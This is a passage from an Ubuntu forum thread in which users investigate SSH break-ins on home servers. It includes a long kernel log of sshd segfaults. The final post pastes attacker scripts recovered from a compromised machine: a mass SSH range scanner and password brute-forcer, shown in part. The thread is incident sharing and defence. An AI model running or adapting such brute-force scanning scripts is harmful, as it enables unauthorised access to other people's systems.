Page 2 of 3 FirstFirst 123 LastLast
Results 11 to 20 of 23

Thread: SSH vulnerability in Intrepid? Machine comprimised...

  1. #11
    Join Date
    Jan 2008
    Location
    USA
    Beans
    971
    Distro
    Ubuntu 12.04 Precise Pangolin

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    So either you had ssh poorly configured or there is a 0-day exploit in the wild. Either way, you could have perhaps avoided the intrusion if you had configured an AppArmor profile for sshd.

    Did you wipe the machine and reinstall? If not, you should since there is probably a rootkit hooked into the kernel.

  2. #12
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    I haven't re-installed (will do this weekend.) In the meantime, there's nothing running on there that I need to worry too much about as it's firewalled (external fw - not iptables) and not allowed out. I've basically stopped all services and short of shutting it down - it's not being used. As it's a media server, I'm also not too worried of losing anything on there (movies I can rip again, tv shows? I'll wait for the reruns...)

    I also don't have anything else on the network other than my laptop which doesn't run sshd or any services and is only on the network when I'm at home.

    I hope that'll be enough - I still want to be able to "catch" anything unusual running on there, in case there is something funky still on it - just to learn about it.

    -P

  3. #13
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    BTW - just to put people's mind at rest -- yes it was a stupid admin error on my part. The account that got compromised was my daughters. She reminded me that she had a problem connecting to the server and had asked me to change her password to something simpler. I don't remember what I used, but I know to now tell people "sorry - use the password I give you or similarly strong password, or don't use the system at all."

    Bad sysadmin, no cookie.

    -P

  4. #14
    Join Date
    Sep 2009
    Location
    127.0.0.1
    Beans
    159

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    Why do you assume that the account was compromised via a cracked password? It's far more likely that some x86 shellcode was injected through ssh packet buffer overflow and executed by a stack rewind coming out of the signal 11 fault.

  5. #15
    Join Date
    Feb 2008
    Beans
    606
    Distro
    Ubuntu 11.04 Natty Narwhal

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    Agreed, sshd should not be crashing with segmentation faults unles there's some kind of bug; would be good to know exactly where it is crashing and why.

  6. #16
    Join Date
    Sep 2009
    Beans
    18
    Distro
    Ubuntu 10.04 Lucid Lynx

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    I found the following on kern.log
    Code:
    /var/log/kern.log:Sep  7 23:33:21 mythuk01 kernel: [355525.945773] sshd[6956]: segfault at 0 ip 0000000008048f03 sp 00000000fff05b10 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:21 mythuk01 kernel: [355526.021858] sshd[6943]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000fff05af8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:21 mythuk01 kernel: [355526.046994] sshd[6922]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000fff05af8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:22 mythuk01 kernel: [355526.379871] sshd[6941]: segfault at 737360 ip 00000000080a58d7 sp 00000000fff05af8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:22 mythuk01 kernel: [355526.385995] sshd[6936]: segfault at 0 ip 0000000008048f03 sp 00000000fff05b10 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:22 mythuk01 kernel: [355526.432390] sshd[6933]: segfault at 28 ip 00000000080a592f sp 00000000fff05af8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:24 mythuk01 kernel: [355528.959750] sshd[6946]: segfault at 0 ip 0000000008048f03 sp 00000000fff05b10 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:25 mythuk01 kernel: [355529.376476] sshd[6949]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000fff05af8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:25 mythuk01 kernel: [355529.430483] sshd[6945]: segfault at 0 ip 0000000008048f03 sp 00000000fff05b10 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:25 mythuk01 kernel: [355530.232663] sshd[6942]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000fff05af8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:28 mythuk01 kernel: [355532.801626] sshd[6937]: segfault at 28 ip 00000000080a592f sp 00000000fff05af8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:29 mythuk01 kernel: [355533.874830] sshd[6957]: segfault at 28 ip 00000000080a592f sp 00000000fff05af8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:30 mythuk01 kernel: [355534.932905] sshd[6947]: segfault at 0 ip 0000000008048f03 sp 00000000fff05b10 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:33:34 mythuk01 kernel: [355538.577849] sshd[6927]: segfault at 28 ip 00000000080a592f sp 00000000fff05af8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:44 mythuk01 kernel: [355848.545152] sshd[8836]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:44 mythuk01 kernel: [355848.591717] sshd[8824]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:44 mythuk01 kernel: [355848.750738] sshd[8827]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffec32b8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:44 mythuk01 kernel: [355848.988639] sshd[8804]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:44 mythuk01 kernel: [355849.022366] sshd[8828]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffec32b8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:46 mythuk01 kernel: [355851.112679] sshd[8806]: segfault at 28 ip 00000000080a592f sp 00000000ffec32b8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:47 mythuk01 kernel: [355851.493854] sshd[8811]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:47 mythuk01 kernel: [355851.502466] sshd[8819]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:47 mythuk01 kernel: [355851.514491] sshd[8809]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:47 mythuk01 kernel: [355851.523331] sshd[8831]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:50 mythuk01 kernel: [355855.042371] sshd[8813]: segfault at 26c72efa ip 00000000080a58d7 sp 00000000ffec32b8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:53 mythuk01 kernel: [355857.620693] sshd[8812]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:53 mythuk01 kernel: [355857.949171] sshd[8816]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffec32b8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:53 mythuk01 kernel: [355858.012083] sshd[8833]: segfault at 0 ip 0000000008048f03 sp 00000000ffec32d0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:53 mythuk01 kernel: [355858.035672] sshd[8826]: segfault at 737360 ip 00000000080a58d7 sp 00000000ffec32b8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:38:54 mythuk01 kernel: [355858.502873] sshd[8808]: segfault at 28 ip 00000000080a592f sp 00000000ffec32b8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:05 mythuk01 kernel: [356169.647273] sshd[11682]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:05 mythuk01 kernel: [356169.816272] sshd[11735]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:05 mythuk01 kernel: [356170.065188] sshd[11681]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:05 mythuk01 kernel: [356170.071050] sshd[11728]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:05 mythuk01 kernel: [356170.073433] sshd[11722]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:06 mythuk01 kernel: [356171.142378] sshd[11662]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:07 mythuk01 kernel: [356171.602029] sshd[11680]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:07 mythuk01 kernel: [356171.917632] sshd[11676]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:08 mythuk01 kernel: [356172.598622] sshd[11711]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:08 mythuk01 kernel: [356172.692895] sshd[11732]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:10 mythuk01 kernel: [356175.152153] sshd[11751]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:10 mythuk01 kernel: [356175.256447] sshd[11743]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:11 mythuk01 kernel: [356175.963185] sshd[11763]: segfault at 28 ip 00000000080a592f sp 00000000ff7e8bd8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:14 mythuk01 kernel: [356178.338609] sshd[11739]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:14 mythuk01 kernel: [356178.482873] sshd[11715]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:14 mythuk01 kernel: [356178.650312] sshd[11703]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:14 mythuk01 kernel: [356178.683525] sshd[11696]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:14 mythuk01 kernel: [356178.962303] sshd[11646]: segfault at 28 ip 00000000080a592f sp 00000000ff7e8bd8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:15 mythuk01 kernel: [356179.506907] sshd[11771]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:15 mythuk01 kernel: [356179.531046] sshd[11786]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:17 mythuk01 kernel: [356182.099864] sshd[11801]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:18 mythuk01 kernel: [356183.032369] sshd[11793]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:18 mythuk01 kernel: [356183.042503] sshd[11795]: segfault at 737360 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:18 mythuk01 kernel: [356183.074869] sshd[11647]: segfault at 5d ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:19 mythuk01 kernel: [356183.373594] sshd[11766]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:20 mythuk01 kernel: [356185.082299] sshd[11794]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:22 mythuk01 kernel: [356187.036487] sshd[11821]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:25 mythuk01 kernel: [356189.935744] sshd[11790]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:26 mythuk01 kernel: [356191.043974] sshd[11830]: segfault at 28 ip 00000000080a592f sp 00000000ff7e8bd8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:26 mythuk01 kernel: [356191.183232] sshd[11827]: segfault at 737360 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:35 mythuk01 kernel: [356199.799019] sshd[11842]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:35 mythuk01 kernel: [356199.958907] sshd[11860]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:36 mythuk01 kernel: [356200.485916] sshd[11867]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:36 mythuk01 kernel: [356200.628636] sshd[11856]: segfault at 737360 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:39 mythuk01 kernel: [356203.353107] sshd[11869]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:40 mythuk01 kernel: [356204.597276] sshd[11875]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:42 mythuk01 kernel: [356206.876342] sshd[11889]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:43 mythuk01 kernel: [356207.595752] sshd[11882]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:43 mythuk01 kernel: [356207.958578] sshd[11894]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:44 mythuk01 kernel: [356208.999651] sshd[11884]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:44 mythuk01 kernel: [356209.180078] sshd[11863]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:45 mythuk01 kernel: [356209.689136] sshd[11888]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:45 mythuk01 kernel: [356209.945272] sshd[11878]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:45 mythuk01 kernel: [356210.159451] sshd[11886]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:46 mythuk01 kernel: [356210.951845] sshd[11865]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:46 mythuk01 kernel: [356211.152566] sshd[11910]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:49 mythuk01 kernel: [356213.852363] sshd[11903]: segfault at 737360 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:50 mythuk01 kernel: [356214.634358] sshd[11891]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:50 mythuk01 kernel: [356214.856945] sshd[11919]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:52 mythuk01 kernel: [356217.064735] sshd[11916]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:53 mythuk01 kernel: [356217.959235] sshd[11921]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:55 mythuk01 kernel: [356219.620944] sshd[11906]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:57 mythuk01 kernel: [356221.406752] sshd[11938]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:44:57 mythuk01 kernel: [356221.502893] sshd[11922]: segfault at bcc97 ip 00000000080a58d7 sp 00000000ff7e8bd8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:01 mythuk01 kernel: [356226.001448] sshd[11927]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:04 mythuk01 kernel: [356229.231507] sshd[12583]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:05 mythuk01 kernel: [356230.271206] sshd[12772]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:06 mythuk01 kernel: [356230.608078] sshd[11941]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:06 mythuk01 kernel: [356230.924421] sshd[12773]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:07 mythuk01 kernel: [356231.794904] sshd[12771]: segfault at 28 ip 00000000080a592f sp 00000000ff7e8bd8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:09 mythuk01 kernel: [356233.875419] sshd[12783]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:09 mythuk01 kernel: [356234.152435] sshd[12776]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:09 mythuk01 kernel: [356234.291302] sshd[12769]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:11 mythuk01 kernel: [356235.365307] sshd[11999]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:12 mythuk01 kernel: [356236.542147] sshd[12784]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:15 mythuk01 kernel: [356239.341647] sshd[12770]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:16 mythuk01 kernel: [356241.156065] sshd[12782]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:45:34 mythuk01 kernel: [356258.528802] sshd[11932]: segfault at 0 ip 0000000008048f03 sp 00000000ff7e8bf0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.522771] sshd[15098]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.741519] sshd[15101]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.754701] sshd[15120]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffa35628 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.919982] sshd[15110]: segfault at 28 ip 00000000080a592f sp 00000000ffa35628 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.991713] sshd[15102]: segfault at 28 ip 00000000080a592f sp 00000000ffa35628 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356558.996383] sshd[15099]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356559.014485] sshd[15134]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:34 mythuk01 kernel: [356559.212285] sshd[15105]: segfault at 28 ip 00000000080a592f sp 00000000ffa35628 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:35 mythuk01 kernel: [356559.987946] sshd[15121]: segfault at 7670fbdc ip 00000000080a58d7 sp 00000000ffa35628 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:43 mythuk01 kernel: [356567.528107] sshd[15114]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:43 mythuk01 kernel: [356568.002897] sshd[15135]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:50:43 mythuk01 kernel: [356568.027317] sshd[15137]: segfault at 0 ip 0000000008048f03 sp 00000000ffa35640 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:05 mythuk01 kernel: [356889.927447] sshd[17086]: segfault at 0 ip 0000000008048f03 sp 00000000ff95dd70 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:05 mythuk01 kernel: [356889.958456] sshd[17097]: segfault at 0 ip 0000000008048f03 sp 00000000ff95dd70 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:05 mythuk01 kernel: [356890.124903] sshd[17092]: segfault at 28 ip 00000000080a592f sp 00000000ff95dd58 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:05 mythuk01 kernel: [356890.205192] sshd[17091]: segfault at 28 ip 00000000080a592f sp 00000000ff95dd58 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:08 mythuk01 kernel: [356893.021311] sshd[17098]: segfault at 0 ip 0000000008048f03 sp 00000000ff95dd70 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:09 mythuk01 kernel: [356893.769758] sshd[17095]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ff95dd58 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  7 23:56:10 mythuk01 kernel: [356894.745177] sshd[17094]: segfault at 28 ip 00000000080a592f sp 00000000ff95dd58 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357212.715529] sshd[20867]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.013913] sshd[20864]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.062938] sshd[20859]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.084998] sshd[20851]: segfault at 28 ip 00000000080a592f sp 00000000ffeba2a8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.091254] sshd[20857]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.093090] sshd[20838]: segfault at 3483a009 ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:28 mythuk01 kernel: [357213.165162] sshd[20836]: segfault at 28 ip 00000000080a592f sp 00000000ffeba2a8 error 6 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:29 mythuk01 kernel: [357214.255693] sshd[20862]: segfault at 63af9baf ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:30 mythuk01 kernel: [357214.344645] sshd[20856]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:32 mythuk01 kernel: [357216.542849] sshd[20860]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:34 mythuk01 kernel: [357219.193417] sshd[20850]: segfault at 737360 ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:36 mythuk01 kernel: [357220.749728] sshd[20855]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:37 mythuk01 kernel: [357221.649476] sshd[20846]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:37 mythuk01 kernel: [357222.005842] sshd[20853]: segfault at 0 ip 0000000008048f03 sp 00000000ffeba2c0 error 4 in sshd[8048000+c5000]
    /var/log/kern.log:Sep  8 00:01:40 mythuk01 kernel: [357225.001730] sshd[20854]: segfault at 632d7361 ip 00000000080a58d7 sp 00000000ffeba2a8 error 4 in sshd[8048000+c5000]
    I'm not sure that's of any help. I'll keep on investigating. Any tests anyone would like for me to try out? PM me if you don't want to post anything harmful to newbies - I can post the reply or some sanitized outcome.

    -P

  7. #17

    Re: SSH vulnerability in Intrepid? Machine comprimised...

    Back again after one tough night inspecting the whole server....

    And indeed there was an account with too poor password so I change it to a strong one kill the process drop ssh via iptables... And now that's fine after one night...

    Still looking for rootkit but seems to be safe as it tried to brute force the root account which as of course a strong password.

    Just for info here is the script that was running :

    go.sh:
    Code:
    ./ss 22 -b $1 -i eth0 -s 6
    cat bios.txt |sort | uniq > mfu.txt
    ./ssh-scan
    rm -f bios.txt
    ssh-scan:

    Code:
    #!/bin/bash
    
    clear
    
    rm -rf $1.ps.$2
    
    echo "#=====#==================================#=====#"
    echo "#= R =# SSH AUTO SCANNER BY REGELE & CO  #= R =#"
    echo "#= E =#-------   #BlackCat TEAM   -------#= E =#"
    echo "#= G =#----------------------------------#= G =#"
    echo "#= E =# ® ALL RIGHTS RESERVED TO Regele ®#= E =#"
    echo "#= L =#   Now Just Sit Back End Relax    #= L =#"
    echo "#= E =#   IPs founder... ACTIVATING!!!   #= E =#"
    echo "#Range from -> $1.0.0"
    echo "#Range   to -> $1.255.255"
    echo "#Looking on -> PORT $2"
    
    ./ps $1 $2
    
    sleep 5
    
    cat $1.ps.$2 |sort |uniq > mfu.txt
    
    oopsnr2=`grep -c . mfu.txt`
    
    sleep 5
    echo "#---Relax ... Take it Easy---#"
    
    cat 1 > pass_file
    sleep 3
    ./ssh 150
    
    cat 2 > pass_file
    sleep 3
    ./ssh 150
    ...
    ...
    ...
